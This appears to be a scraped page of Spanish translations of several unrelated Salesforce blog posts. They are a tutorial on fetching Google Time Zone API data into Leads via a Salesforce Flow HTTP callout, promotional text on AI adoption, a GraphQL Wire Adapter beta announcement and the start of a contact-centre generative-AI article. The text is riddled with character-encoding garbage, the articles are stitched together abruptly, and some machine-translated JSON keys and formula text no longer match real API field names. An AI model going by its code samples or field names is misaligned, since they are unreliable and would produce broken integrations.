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Integraci贸n de API de zona horaria de Salesforce y Google: traducci贸n de coordenadas a informaci贸n de zona horaria

Integraci贸n de API de zona horaria de Salesforce y Google: traducci贸n de coordenadas a informaci贸n de zona horaria

脷ltima actualizaci贸n el 29 de junio de 2023 por Rakesh Gupta

Gran idea o pregunta duradera:

  • 驴C贸mo puede aprovechar la API de zona horaria de Google para actualizar autom谩ticamente la informaci贸n de zona horaria de un cliente potencial en funci贸n de sus coordenadas geogr谩ficas?

Objetivos:

Despu茅s de leer este blog, podr谩:

Jestilla Zetkin se desempe帽a actualmente como arquitecta de Salesforce en Gurukul On Cloud (GoC). El Director Comercial le ha confiado a Jestilla un desaf铆o 煤nico. El objetivo es asegurarse de que, en el momento de la creaci贸n, los prospectos de Salesforce (creados a trav茅s de Web-to-lead) reciban los detalles exactos de la zona horaria, que se determinan en funci贸n de sus respectivas coordenadas geogr谩ficas.

  1. El caso de uso comercial requiere que usemos la API de zona horaria de Google para actualizar autom谩ticamente cuatro campos espec铆ficos en los clientes potenciales:
    1. dstOffset (la compensaci贸n del horario de verano en segundos)
    2. rawOffset (el desplazamiento de la hora universal coordinada para la zona horaria de la ubicaci贸n dada)
    3. timeZoneId (una cadena que identifica de forma 煤nica la zona horaria)
    4. y timeZoneName (el nombre largo de la zona horaria)
  2. En caso de una respuesta fallida, instituya una acci贸n de contingencia para crear una tarea para el propietario designado del cliente potencial.

驴Qu茅 es la API de zona horaria de Google?

Hay muchas posibilidades de que su base de clientes est茅 repartida en varias zonas horarias. Este factor puede influir en gran medida en sus interacciones con ellos, especialmente al programar llamadas, reuniones o enviar mensajes autom谩ticos. La plataforma de Salesforce ofrece un entorno altamente adaptable para almacenar y administrar datos de clientes, pero de forma predeterminada, no proporciona una forma de registrar autom谩ticamente la zona horaria del cliente potencial en funci贸n de sus coordenadas geogr谩ficas.

La API de zona horaria de Google es un servicio ofrecido por Google como parte de su plataforma Google Maps. La API proporciona datos de zona horaria para cualquier ubicaci贸n en todo el mundo en funci贸n de las coordenadas de latitud y longitud. Este servicio puede ser particularmente 煤til para los desarrolladores que necesitan ajustar la comunicaci贸n de acuerdo con la ubicaci贸n geogr谩fica de un cliente potencial o contacto o para empresas que operan en diferentes zonas horarias.

La API de zona horaria proporciona la siguiente informaci贸n:

  • El ID de la zona horaria , seg煤n lo define la base de datos de zonas horarias de la IANA (por ejemplo, America/New_York ).
  • El nombre de la zona horaria (por ejemplo, hora de verano del este ).
  • La diferencia horaria con respecto a la hora universal coordinada (UTC) sin tener en cuenta el horario de verano (rawOffset).
  • El desfase horario debido al horario de verano (dstOffset).

Tenga en cuenta que la API de zona horaria de Google est谩 sujeta a cargos, por lo que es importante comprender las implicaciones de costos antes de implementarla.

C贸mo funciona la API de zona horaria de Google?

La API de zona horaria de Google funciona tomando coordenadas de latitud y longitud y devolviendo datos de zona horaria en formato JSON. Aqu铆 hay un ejemplo b谩sico de c贸mo usarlo.

La siguiente solicitud HTTP GET obtiene informaci贸n de zona horaria para una ubicaci贸n en la latitud 40.712776 y longitud -74.005974 (ciudad de Nueva York), y asume que est谩 realizando la solicitud en una determinada marca de tiempo (marca de tiempo UNIX).

 https://maps.googleapis.com/maps/api/timezone/json?location=40.712776,-74.005974&timestamp=1458000000&key=YOUR_API_KEY

En la URL de solicitud anterior, reemplace YOUR_API_KEY con su clave API real.

Aqu铆 hay una respuesta de muestra en formato JSON que la API podr铆a devolver:


{ "dstOffset": 3600, "compensaci贸n sin procesar": -18000, "estado": "OK", "timeZoneId": "Am茅rica/Nueva_York", "timeZoneName" : "Hora de verano del Este"
}

La respuesta incluye la siguiente informaci贸n:

  1. dstOffset : La compensaci贸n del horario de verano en segundos. Ser谩 cero si la zona horaria no est谩 en el horario de verano durante la marca de tiempo especificada.
  2. rawOffset : el desplazamiento de UTC (sin contar el horario de verano) en segundos.
  3. estado : una cadena que indica el estado de la solicitud. 鈥淥K鈥 significa que la solicitud fue exitosa.
  4. timeZoneId : una cadena que contiene el ID "tz" de la zona horaria (por ejemplo, "Am茅rica/Nueva_York").
  5. timeZoneName : una cadena que contiene el nombre de forma larga de la zona horaria (por ejemplo, "hora de verano del este").

Recuerde, en la URL de solicitud, se requiere el par谩metro de marca de tiempo y el par谩metro de ubicaci贸n espera coordenadas de latitud y longitud.

  1. Marca de tiempo : el tiempo deseado en segundos desde la medianoche del 1 de enero de 1970 UTC. La API de zona horaria utiliza la marca de tiempo para determinar si se debe aplicar o no el horario de verano, seg煤n la zona horaria de la ubicaci贸n.
  2. Ubicaci贸n : una tupla de latitud, longitud separada por comas, ubicaci贸n = 40.712776, -74.005974, que representa la ubicaci贸n para buscar.

Adem谩s, no olvide incluir su clave API.

Beneficios de usar la API de zona horaria de Google

La API de zona horaria de Google ofrece una serie de beneficios significativos, especialmente para desarrolladores y empresas que necesitan operar en diferentes zonas horarias. Estos son algunos de los beneficios clave:

  1. Precisi贸n : la API de zona horaria de Google proporciona datos de zona horaria precisos para cualquier ubicaci贸n en todo el mundo. Tiene en cuenta tanto la zona horaria 'sin procesar' como el horario de verano, lo que garantiza que siempre tenga la hora local correcta.
  2. Facilidad de uso : la API es f谩cil de usar y solo requiere la latitud y la longitud como entradas. Devuelve datos en un formato JSON estructurado, que es f谩cil de analizar y usar en varias aplicaciones.
  3. Cobertura global : la API proporciona datos de zona horaria para ubicaciones en todo el mundo, lo que la hace 煤til para empresas globales y aplicaciones con bases de usuarios internacionales.
  4. Confiabilidad : como servicio proporcionado por Google, es altamente confiable, lo que garantiza que tenga acceso constante a los datos de la zona horaria cuando los necesite.
  5. Integraci贸n : se puede integrar en una variedad de aplicaciones y plataformas, incluidas aplicaciones m贸viles, servicios web y plataformas de CRM como Salesforce. Esto permite funcionalidades como la programaci贸n de comunicaciones en diferentes franjas horarias, etc.
  6. Informaci贸n actualizada : Google actualiza continuamente sus bases de datos, lo que garantiza que los datos devueltos por la API de zona horaria, como los cambios de horario de verano, est茅n siempre actualizados.

Al aprovechar estos beneficios, las empresas pueden mejorar la experiencia del cliente, aumentar la eficiencia operativa y garantizar un registro de datos preciso, entre otras ventajas.

Antes de comenzar a usar la API de zona horaria, necesita un proyecto con una cuenta de facturaci贸n y la API de zona horaria habilitada. Aqu铆 hay una gu铆a paso a paso para configurar su proyecto de Google Cloud y habilitar la API de zona horaria:

Paso 1: crea o selecciona tu proyecto

  1. Navegue a Google Cloud Console .
  2. Si ha creado un proyecto anteriormente, puede seleccionarlo de la lista desplegable en la parte superior. De lo contrario, haga clic en Nuevo proyecto en la parte superior derecha.
  3. Asigne un nombre a su proyecto y, opcionalmente, tambi茅n puede editar el ID del proyecto.
  4. Haga clic en Crear para crear el proyecto.

Paso 2: configurar una cuenta de facturaci贸n

Debe vincular una cuenta de facturaci贸n a su proyecto para usar la API de zona horaria de Google. As铆 es c贸mo:

  1. En Google Cloud Console, abra el men煤 del lado izquierdo de la consola y haga clic en Facturaci贸n .
  2. Si tiene una o m谩s cuentas de facturaci贸n, elija una cuenta y as贸ciela con su proyecto. De lo contrario, haga clic en Crear cuenta , complete el formulario para crear una nueva cuenta de facturaci贸n y luego as贸ciela con su proyecto.

Paso 3: habilite la API de zona horaria

Una vez que haya configurado su proyecto y su cuenta de facturaci贸n, puede habilitar la API de zona horaria.

  1. En Google Cloud Console, abra el men煤 del lado izquierdo de la consola y vaya a API y servicios | biblioteca
  2. En la biblioteca de API, busque API de zona horaria y selecci贸nela.
  3. En la p谩gina de la API de zona horaria, haga clic en Habilitar .

Paso 4: Genere su clave API

Finalmente, necesita una clave de API para autenticar sus solicitudes en la API de zona horaria.

  1. En Google Cloud Console, abra el men煤 del lado izquierdo de la consola y vaya a API y servicios | Cartas credenciales.
  2. Haga clic en el bot贸n + CREAR CREDENCIALES en la parte superior y seleccione Clave API .
  3. Su nueva clave de API se crear谩 y se mostrar谩. C贸pielo y gu谩rdelo de forma segura. Necesitar谩 esta clave para realizar solicitudes a la API de zona horaria.

Ahora, su proyecto de Google Cloud est谩 todo configurado y puede comenzar a usar la API de zona horaria de Google.

馃憠 Si bien la API de zona horaria es compatible con OAuth 2.0 y la cuenta de servicio para la autenticaci贸n, esta gu铆a se enfoca en el m茅todo de clave de API m谩s simple por razones de brevedad. Si necesita un m茅todo de autenticaci贸n m谩s seguro o complejo, consulte la documentaci贸n de autenticaci贸n oficial de Google.

Enfoque de Campe贸n de Automatizaci贸n (I-do):

Si bien esto se puede resolver utilizando varias herramientas de automatizaci贸n como Apex Trigger y otras, utilizaremos Salesforce Flow y la funci贸n de flujo HTTP Callout (GET) recientemente introducida .

HTTP Callout extrae o env铆a datos entre la base de datos de Salesforce y un sistema externo a trav茅s de Flow Builder sin usar c贸digo. Puede configurar integraciones directas seg煤n sea necesario sin tener que trabajar con un desarrollador o llamar a una herramienta de middleware, como Mulesoft. Despu茅s de configurar la acci贸n de llamada HTTP en un flujo, Flow Builder genera autom谩ticamente un registro de servicio externo , una acci贸n invocable y una clase de Apex que puede usar para crear un recurso definido por Apex para flujos. A continuaci贸n, puede utilizar la salida de datos de la solicitud de la API como entrada en Flow Builder y en Salesforce.

Puede usar HTTP Callout para conectar un flujo a una variedad de API.

  • Obtener informaci贸n de direcciones usando una API de mapa
  • Obt茅n las condiciones meteorol贸gicas con una API de servicios meteorol贸gicos
  • Genere el c贸digo de barras con una API de servicio de c贸digo de barras
  • Obtenga informaci贸n de autorizaci贸n de pago con una API de procesamiento de pagos
  • y mucho m谩s

Antes de discutir la soluci贸n, perm铆tame mostrarle un diagrama del proceso a un alto nivel. Dedique unos minutos a revisar el siguiente diagrama de flujo para comprenderlo.

Comencemos a construir este proceso de automatizaci贸n.

Pr谩ctica guiada (nosotros hacemos):

Hay 3 pasos para resolver el requisito empresarial de Jestilla mediante Record-Triggered After-Save Flow . Debemos:

  1. Cree campos personalizados en el cliente potencial para almacenar la respuesta
  2. Crear una credencial con nombre
  3. Flujo de fuerza de ventas
    1. Definir propiedades de flujo para el flujo desencadenado por registro
    2. Agregue una f贸rmula para calcular la marca de tiempo
    3. Configurar una llamada HTTP GET para la API de zona horaria
    4. Agregue un elemento de decisi贸n para verificar el c贸digo de respuesta
    5. Agregue un elemento Actualizar registros para actualizar el prospecto
    6. Agregue un elemento Crear registros para crear una tarea para que el propietario del cliente potencial maneje la respuesta de error

Paso 1: Cree campos personalizados en el objeto principal para almacenar la respuesta

En este paso, hemos establecido campos personalizados dentro del objeto principal. Estos servir谩n como repositorios para los datos de respuesta de la API de zona horaria de Google.

Etiqueta de campo Nombre de API de campo Tipo de datos
dstOffset dstOffset __c N煤mero (18,0)
rawOffset rawOffset__c N煤mero (18,0)
Posici贸n actual Posici贸n_actual__c Geolocalizaci贸n
Identificaci贸n de zona horaria Time_Zone_Id__c Texto (255)
Nombre de zona horaria
Nombre_de_la_zona_horaria__c Texto (255)

Paso 2: crear una credencial con nombre

  1. Haga clic en Configuraci贸n .
  2. En el cuadro B煤squeda r谩pida, ingrese Credenciales con nombre y luego seleccione Credenciales con nombre .
  3. Haga clic en Nuevo legado .
  4. Rellene la p谩gina con la URL y los par谩metros de autenticaci贸n del extremo de la llamada.
  5. Haga clic en Guardar .

Paso 3.1: Definir propiedades de flujo

  1. Haga clic en Configuraci贸n .
  2. En el cuadro B煤squeda r谩pida, escriba Flujos .
  3. Seleccione Flujos , luego haga clic en Nuevo flujo .
  4. Seleccione la opci贸n Flujo activado por registro , haga clic en Crear
    1. Objeto: Plomo
    2. Activar el flujo cuando: se crea un registro
    3. Establecer condiciones de entrada: se cumplen todas las condiciones (Y)
    4. Fila 1:
      1. Campo : Posici贸n_Actual__Latitud__s
      2. Operador : es nulo
      3. Valor : {!$ConstanteGlobal.Falso}
    5. Haga clic en + Agregar condici贸n
    6. Fila 2:
      1. Campo : Posici贸n_Actual__Longitud__s
      2. Operador : es nulo
      3. Valor : {!$ConstanteGlobal.Falso}
    7. Optimizar el flujo para : acci贸n y registros relacionados
    8. Elija la opci贸n para incluir una ruta de ejecuci贸n as铆ncrona para acceder a un sistema externo despu茅s de que la transacci贸n original para el registro de activaci贸n se confirme con 茅xito .
  5. Haga clic en Listo.

Paso 3.2: f贸rmula para calcular la marca de tiempo

  1. En Caja de herramientas , seleccione Administrador y luego haga clic en Nuevo recurso para calcular los segundos desde la 茅poca de Unix (1 de enero de 1970, 00:00:00).
  2. Ingrese la siguiente informaci贸n :
    1. Tipo de recurso : F贸rmula
    2. Nombre de API : forN_Timestamp
    3. Tipo de datos : N煤mero
    4. Lugares decimales : 0
    5. F贸rmula : RONDA((AHORA() 鈥 FECHAHORAVALUE(鈥1970-01-01 00:00:00鈥)) * 24 * 60 * 60, 0)
  3. Haga clic en Listo.

Paso 3.3: configurar una acci贸n de llamada HTTP GET

HTTP Callout lo gu铆a a trav茅s de la introducci贸n de los detalles sobre el servicio HTTP basado en web o el punto final de la API REST al que se est谩 conectando. Despu茅s de completar la configuraci贸n, invoca la acci贸n en un flujo.

  1. En el nodo Ejecutar asincr贸nicamente , seleccione Acci贸n .
  2. Haga clic en + Crear llamada HTTP .
  3. Configure el servicio externo que conecta Salesforce con la API basada en HTTP.
    1. Introduzca un Nombre para el servicio externo.
    2. Seleccione la credencial con nombre que cre贸 en el paso 2 .
    3. Haga clic en Siguiente .
  4. El siguiente paso es configurar la acci贸n invocable que puede usar en Flow Builder o en Salesforce.
    1. Para Etiqueta , ingrese la acci贸n que realiza la llamada.
    2. M茅todo : OBTENER
    3. Agregue el extremo de la URL para la solicitud.
      1. Ruta URL : /maps/api/timezone/json
    4. Agregue claves de par谩metros de consulta si la API a la que est谩 llamando las tiene. Cuando usa esta acci贸n en un flujo, ingresa valores para las claves definidas.
      1. Haga clic en Agregar clave
        1. Clave : ubicaci贸n
        2. Tipo de datos : cadena
        3. Requerido : Verdadero
      2. Haga clic en Agregar clave
        1. Clave : marca de tiempo
        2. Tipo de datos : entero
        3. Requerido : Verdadero
      3. Haga clic en Agregar clave
        1. Clave: clave
        2. Tipo de datos : cadena
        3. Requerido : Verdadero
  5. Proporcione un cuerpo de respuesta de API de muestra. Salesforce genera una estructura de datos a partir de la respuesta de muestra.
    1. Vaya a la secci贸n Proporcione una respuesta de muestra .
    2. Haga clic en Nuevo .
    3. Pegue una respuesta JSON de muestra .
       { "timeZoneName": "cadena de muestra", "compensaci贸n sin procesar": 1, "timeZoneId": "cadena de muestra", "errorMessage": "cadena de muestra", "dstOffset": 1, "estado": "cadena de muestra"
      }
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3 pasos para la adopci贸n estrat茅gica de IA

3 pasos para la adopci贸n estrat茅gica de IA

En el mundo empresarial actual, que cambia r谩pidamente, la IA tiene el potencial de transformar las industrias y desbloquear oportunidades sin precedentes. Sin embargo, muchos l铆deres de la industria no est谩n seguros de c贸mo adoptar esta adopci贸n dentro de sus organizaciones. Se preguntan si reemplazar谩 las capacidades humanas o agregar谩 complejidad sin brindar beneficios tangibles.

Imagine las posibilidades de una adopci贸n estrat茅gica de IA. Un asombroso 79% de las empresas ya han experimentado una reducci贸n significativa de costos a trav茅s de la implementaci贸n. Pero, sin una estrategia bien definida adaptada a sus necesidades 煤nicas, las empresas corren el riesgo de perderse los beneficios de estas herramientas transformadoras.

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Los servicios profesionales de Salesforce pueden ayudarlo a establecer la base adecuada para el 茅xito con nuestro nuevo paquete, AI Coach.

驴Est谩 listo para navegar por el complejo mundo de la IA y aprender c贸mo puede integrarse en su negocio? Profundicemos y descubramos tres pasos pr谩cticos para la adopci贸n e implementaci贸n exitosas de IA , y la importancia de usar esta tecnolog铆a de una manera en la que pueda confiar con AI Cloud .

1. Eval煤e su preparaci贸n para la adopci贸n de IA

Una de las preguntas que suelen hacer los clientes cuando se embarcan en su viaje de IA es: "驴Por d贸nde empiezo?" Con el gran potencial de la tecnolog铆a de IA generativa , los l铆deres de la industria pueden sentirse abrumados o inseguros sobre cu谩l es el mejor camino a seguir. Para navegar este mar de posibilidades, es crucial hacer las preguntas correctas y evaluar la preparaci贸n de su organizaci贸n para adoptar la IA.

  • Identifique el valor empresarial : analice sus procesos, las interacciones con los clientes y los activos de datos para identificar las 谩reas en las que la IA puede crear el mayor valor. Podr谩 concentrar sus esfuerzos en 谩reas de alto impacto que ofrecen retornos 贸ptimos.
  • Visualice c贸mo aprovechar el poder de la IA : Considere c贸mo la IA puede potenciar los objetivos de su empresa. Explore casos de uso, aplicaciones y resultados deseados espec铆ficos para crear una visi贸n convincente.
  • Eval煤e su preparaci贸n : luego, confirme que su organizaci贸n est谩 lista para adoptar la IA. Analice su infraestructura tecnol贸gica, capacidades de datos y habilidades de la fuerza laboral para identificar brechas y 谩reas de mejora. Determine si tiene los recursos, la experiencia y los sistemas de soporte necesarios para implementar y administrar estas soluciones.

Al tomarse el tiempo para evaluar la preparaci贸n, puede abordar las barreras comunes para una adopci贸n exitosa de la IA. Este proceso le permite tomar decisiones informadas, dividir recursos y desarrollar una hoja de ruta realista.

2. Cree una prueba de tecnolog铆a

Para garantizar una integraci贸n exitosa de la IA en su organizaci贸n, debe desarrollar un plan pr谩ctico que aborde las preguntas comerciales clave . Un componente crucial de este plan es crear una prueba de tecnolog铆a , que determina si la soluci贸n o tecnolog铆a propuesta se integrar谩 en su entorno existente y, por lo tanto, demostrar谩 compatibilidad.

Hay varios pasos importantes para ayudarlo a evaluar la viabilidad, demostrar las capacidades del producto y validar la relevancia de los casos de uso. Al seguir estos pasos, puede posicionar a su equipo para el 茅xito y obtener el apoyo de las partes interesadas para la adopci贸n de IA.

  • Identifique casos de uso : perfeccione los casos de uso de IA mediante la recopilaci贸n de informaci贸n de toda su organizaci贸n. Conc茅ntrese en las 谩reas donde la IA puede tener el mayor impacto y alinee sus iniciativas con los objetivos de la empresa.
  • Implemente la prueba de tecnolog铆a de AI Cloud : eval煤e la viabilidad implementando herramientas de IA en un entorno controlado. Pruebe el rendimiento, la escalabilidad y la integraci贸n con los sistemas existentes para abordar cualquier problema desde el principio y garantizar una transici贸n sin problemas.
  • Demuestre las capacidades del producto : Muestre la transformaci贸n potencial a trav茅s de escenarios de pr谩ctica o proyectos piloto. Obtenga la aceptaci贸n y el apoyo de las partes interesadas al ilustrar c贸mo la IA aborda desaf铆os espec铆ficos y brinda los resultados deseados.
  • Valide el valor comercial : antes de la implementaci贸n, confirme la relevancia de sus casos de uso. Pruebe los beneficios no realizados, como mejoras en la eficiencia, mejores experiencias de los clientes y una mejor toma de decisiones, asegur谩ndose de que sus iniciativas de IA se alineen con sus objetivos comerciales.

Al crear una prueba integral de la tecnolog铆a, sienta las bases para una adopci贸n exitosa de la IA. Esta ser谩 su hoja de ruta para navegar por los posibles desaf铆os y aprovechar al m谩ximo las oportunidades futuras.

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Los servicios profesionales de Salesforce pueden ayudarlo a elevar sus capacidades para obtener el m谩ximo valor de su inversi贸n en Salesforce.

3. Transformar la visi贸n en acci贸n

Si bien la planificaci贸n es esencial, es crucial conectar los puntos entre la visi贸n y la ejecuci贸n. As铆 es como puede transformar su plan bien elaborado en una realidad, superando futuros escollos en el camino:

  • Involucrar a diversas partes interesadas : involucrar una variedad de perspectivas e intereses a trav茅s de una colaboraci贸n inclusiva. Busque aportes de empleados, clientes y socios para dar forma a la estrategia de implementaci贸n.
  • Promueva la transparencia : mantenga su plan visible, claro y actualizado. Comparta el progreso y los hitos para fomentar la confianza, la propiedad colectiva y la responsabilidad.
  • Adopte una mentalidad de aprendizaje : mant茅ngase abierto a nuevos conocimientos y perfeccione su plan a medida que avanza.
  • Tome decisiones informadas m谩s f谩cilmente : proporcione estrategias pr谩cticas y una visi贸n clara para garantizar que sus elecciones est茅n alineadas con los resultados deseados.
  • Capacite a su gente : reconozca que el poder de la IA radica en las capacidades colectivas de su fuerza laboral. Aproveche sus conocimientos, habilidades y creatividad para desbloquear todo el potencial de la IA e impulsar un cambio significativo.

Recuerde que el verdadero poder de la IA no radica en la tecnolog铆a en s铆, sino en su gente. Al seguir estas pautas, puede cerrar la brecha entre la visi贸n y la acci贸n, transformando las aspiraciones de su organizaci贸n en resultados concretos.

Aproveche las oportunidades que se avecinan

Abraza el futuro con confianza. Descubra el poder transformador de la IA con AI Coach de Salesforce Professional Services . Nuestro equipo de expertos lo ayudar谩 a evaluar la preparaci贸n para la IA de su organizaci贸n. Desde la adopci贸n de IA hasta la implementaci贸n de pruebas de tecnolog铆a que demuestren el valor comercial y la planificaci贸n estrat茅gica de c贸mo puede establecer la base adecuada para el 茅xito a largo plazo con la Fase 0.

Juntos, navegaremos las complejidades de la implementaci贸n de IA. Al mismo tiempo, nos aseguraremos de que sus iniciativas funcionen hacia sus objetivos comerciales. D茅 el primer paso para liberar todo el potencial de la IA en su organizaci贸n. P贸ngase en contacto con los servicios profesionales de Salesforce hoy mismo.

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Explore el adaptador de cable GraphQL, ahora en versi贸n beta 鈽侊笍

Explore el adaptador de cable GraphQL, ahora en versi贸n beta 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Explore el adaptador de cable GraphQL, ahora en versi贸n beta | Blog de desarrolladores de Salesforce

隆Atenci贸n, desarrolladores de Salesforce! Hemos estado incursionando en GraphQL durante alg煤n tiempo y estamos llevando las cosas al siguiente nivel. Hace unos meses, anunciamos el lanzamiento piloto del adaptador de cable GraphQL. Mantenga sus soportes porque estamos implementando la versi贸n beta del adaptador de cable GraphQL de Salesforce en nuestro lanzamiento de verano '23. En este blog, exploraremos las novedades de la versi贸n Beta y c贸mo utilizar Recetas de LWC para crear f谩cilmente su aplicaci贸n Salesforce con la tecnolog铆a de GraphQL.

La versi贸n Beta del GraphQL Wire Adapter es un avance significativo en la gesti贸n de datos de Salesforce en LWC. Con la introducci贸n de nuevas funciones, como Recetas LWC, Actualizaci贸n de datos e Integridad referencial, el proceso de desarrollo se ha vuelto m谩s 谩gil y eficiente.

El adaptador de cable GraphQL permite consultar datos de Salesforce mediante consultas expresivas con funcionalidades como filtrado, clasificaci贸n, paginaci贸n y seguimiento de relaciones padre/hijo. Tambi茅n incluye una capa de gesti贸n de datos y almacenamiento en cach茅 del lado del cliente de Lightning Data Service. Estas funciones mejoran la eficiencia y la velocidad del acceso a los datos de Salesforce desde sus aplicaciones web y m贸viles de LWC.

El adaptador de cable GraphQL interact煤a con la API de Salesforce GraphQL, que expone todos los objetos est谩ndar y personalizados disponibles a trav茅s de la API de la interfaz de usuario, junto con los metadatos de los objetos. La API tambi茅n mantiene la seguridad a nivel de objeto y de campo del usuario actual durante la ejecuci贸n de la consulta.

Para familiarizarse con el esquema de la API de GraphQL, sugerimos revisar la documentaci贸n del esquema utilizando el cliente de Altair GraphQL . Las herramientas disponibles en este cliente facilitan la redacci贸n de su consulta GraphQL y su validaci贸n. Luego puede copiar y pegar su consulta directamente en su c贸digo JavaScript en Visual Studio Code.

Novedades en Beta:

  1. Recetas LWC: estos son componentes listos para usar que muestran varios casos de uso de GraphQL
  2. Actualizaci贸n de datos: un mecanismo para actualizar los datos devueltos por su consulta de GraphQL
  3. Integridad referencial: este mecanismo garantiza la coherencia de los datos y las referencias a los recursos de Salesforce, como entidades y campos, son s贸lidas.

Analicemos cada una de estas caracter铆sticas en detalle.

Recetas LWC

LWC Recipes es un repositorio de GitHub con una colecci贸n de ejemplos de c贸digo disponibles p煤blicamente para componentes web Lightning. Incluye tres recetas GraphQL para ayudarlo a comenzar r谩pidamente a crear su aplicaci贸n Salesforce con GraphQL.

El repositorio proporciona instrucciones sobre c贸mo configurar su entorno, crear su organizaci贸n de Salesforce, clonar el repositorio en su m谩quina local e implementar la aplicaci贸n en su organizaci贸n. El c贸digo fuente se puede importar directamente a su Visual Studio Code como un proyecto que puede personalizar seg煤n sus necesidades.

Una vez que implemente la aplicaci贸n Recetas de LWC en su organizaci贸n de Salesforce, es posible que vea los siguientes componentes mediante consultas de GraphQL.

Aqu铆 hay una descripci贸n general de los cuatro componentes de LWC que usan consultas GraphQL:

  • graphqlContacts : obtiene contactos que cumplen ciertos criterios, ordenados por nombre y limitados a los primeros cinco registros
  • graphqlVariables : captura la entrada del usuario en una barra de b煤squeda en una variable y compone una consulta para devolver contactos cuyo nombre coincide parcialmente con la cadena de entrada
  • graphqlRefresh : obtiene una cantidad de empleados en una cuenta y actualiza los datos al hacer clic en el usuario
  • graphqlPagination : Habilita la paginaci贸n a trav茅s de una lista de contactos

Dado que muchos de nuestros clientes preguntan sobre la paginaci贸n, profundicemos un poco m谩s. El adaptador de cable GraphQL es compatible con la paginaci贸n basada en cursores de GraphQL. Puede recorrer las p谩ginas de los resultados de su consulta y controlar la cantidad de resultados que desea obtener cada vez. Para especificar el n煤mero de registros a devolver, utilice el first argumento. El n煤mero predeterminado es 10.

Si hasNextPage es verdadero, puede proporcionar el valor de endCursor al argumento after de una consulta posterior para solicitar la siguiente p谩gina de resultados.

Aqu铆 hay una captura de pantalla de c贸mo podr铆a verse el proyecto Recetas de LWC en Visual Studio Code. Puede ver un c贸digo de ejemplo para la implementaci贸n de la paginaci贸n.

Actualizaci贸n de datos

En el mundo del desarrollo de aplicaciones, mostrar datos actualizados es fundamental para una buena experiencia de usuario y para generar confianza. Por lo tanto, en la versi贸n Beta del GraphQL Wire Adapter, presentamos la funci贸n refreshGraphQL .

Esta funci贸n permite a los desarrolladores activar manualmente una repetici贸n de la consulta. 驴El resultado? Una actualizaci贸n de los datos proporcionados por el adaptador de cable GraphQL, lo que garantiza que los usuarios siempre vean los datos m谩s actualizados.

Esta actualizaci贸n se puede activar a pedido, como un clic de bot贸n de un usuario o un evento de JavaScript espec铆fico. Esto significa que puede optimizar su aplicaci贸n para que se actualice solo cuando sea necesario, lo que proporciona una manera eficiente de mantener los datos actualizados y maximizar el rendimiento de la aplicaci贸n. En pocas palabras, la funci贸n refreshGraphQL ofrece un m茅todo amigable con el rendimiento para mantener los datos actualizados, mejorando la experiencia del usuario y aumentando la confiabilidad de la aplicaci贸n.

Aqu铆 hay un ejemplo de uso:

Consulte el componente graphqlRefresh en las recetas de LWC para ver otro ejemplo del uso de la funci贸n de actualizaci贸n de datos.

Integridad referencial

La versi贸n Beta del adaptador de cable GraphQL presenta integridad referencial. He aqu铆 una breve descripci贸n de sus beneficios e implicaciones.

Lightning Data Service (LDS), la capa de administraci贸n de datos del lado del cliente de Salesforce, mejora la eficiencia de la aplicaci贸n al permitir que los componentes compartan datos, reducir las llamadas al servidor y mantener la coherencia de los datos. Tambi茅n garantiza referencias s贸lidas a los recursos de Salesforce, propagando cambios de nombre y evitando eliminaciones cuando las referencias persisten.

En la versi贸n piloto del adaptador, requerimos el uso de directivas @category para ayudar a LDS a comprender el esquema de datos y normalizar sus datos de GraphQL.

Sin embargo, en la versi贸n Beta, estas directivas ya no se requieren manualmente. Si se usaron anteriormente, ahora se pueden eliminar de sus consultas de GraphQL. El compilador gestiona de forma aut贸noma estas directivas, agilizando su proceso de c贸digo y reduciendo posibles errores manuales.

驴Qu茅 sigue para GraphQL?

Recordatorio: Salesforce es una empresa que cotiza en bolsa y los clientes deben basar sus decisiones de compra en los productos y servicios que est谩n disponibles actualmente.

Estamos comprometidos a continuar invirtiendo en GraphQL. Esto es lo que puede esperar en los pr贸ximos lanzamientos (se aplica la declaraci贸n prospectiva):

Invierno '24:

  • Adaptador de cable GraphQL (GA)
  • Compatibilidad con mutaciones en la API de GraphQL
  • Compatibilidad con consultas agregadas en GraphQL Adapter
  • Capacidad de consulta de tareas y eventos en GraphQL API (Beta)

Primavera 24 y m谩s all谩:

  • Compatibilidad con mutaciones en GraphQL Adapter
  • Funciones avanzadas de paginaci贸n
  • Soporte de campos opcionales

Recursos para desarrolladores

Sobre el Autor

Suvda Myagmar es directora de gesti贸n de productos en Salesforce y le apasionan las plataformas de datos e IA. Le encantan las carreras largas mientras escucha audiolibros.

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4 formas en que su centro de contacto puede comenzar con IA generativa

4 formas en que su centro de contacto puede comenzar con IA generativa

El tema m谩s candente en el servicio hoy en d铆a es la IA generativa, especialmente en el centro de contacto. El 84 % de los l铆deres de TI que encuestamos en un estudio reciente dicen que la IA generativa ayudar谩 a su organizaci贸n a atender mejor a los clientes, y todos los d铆as hablo con l铆deres de servicio que est谩n entusiasmados con el potencial de la IA generativa del centro de contacto.

Sin embargo, solo el 24 % utiliza alguna forma de IA del centro de contacto. 驴Qu茅 hay en el camino? El 66% dice que sus empleados no tienen las habilidades adecuadas para poner en uso con 茅xito la IA generativa. As铆 que echemos un vistazo a las cuatro formas en que puede usar la IA del centro de contacto, junto con ejemplos de casos de uso y consejos que lo ayudar谩n a comenzar.

Modernice su centro de contacto

La combinaci贸n correcta de canales de atenci贸n al cliente y herramientas de IA puede ayudarlo a ser m谩s eficiente y mejorar la satisfacci贸n del cliente. Nuestra gu铆a revela c贸mo las organizaciones de servicio de alto rendimiento lo hacen posible.

1. Generar respuestas de servicio a los clientes

Su centro de contacto ofrece m煤ltiples formas para que los clientes se comuniquen con su empresa, desde tel茅fono hasta correo electr贸nico, chat y SMS. Si bien muchos clientes todav铆a usan el tel茅fono, el 57% ahora prefiere usar canales digitales. Sus agentes que trabajan en estos canales digitales deben brindar informaci贸n precisa y relevante, responder de manera oportuna y resolver el problema del cliente r谩pidamente.

Entonces, 驴c贸mo puede ayudar la IA generativa ? Los grandes modelos de lenguaje que impulsan la IA generativa pueden generar autom谩ticamente una respuesta similar a la humana a cualquier pregunta. Cuando se basa en los datos y la base de conocimientos de sus clientes, puede personalizar estas respuestas generadas, haci茅ndolas m谩s confiables. Los agentes pueden revisar las sugerencias del modelo y enviarlas f谩cilmente. Para los agentes que trabajan en varios casos a la vez, la IA del centro de contacto puede ser un verdadero ahorro de tiempo.

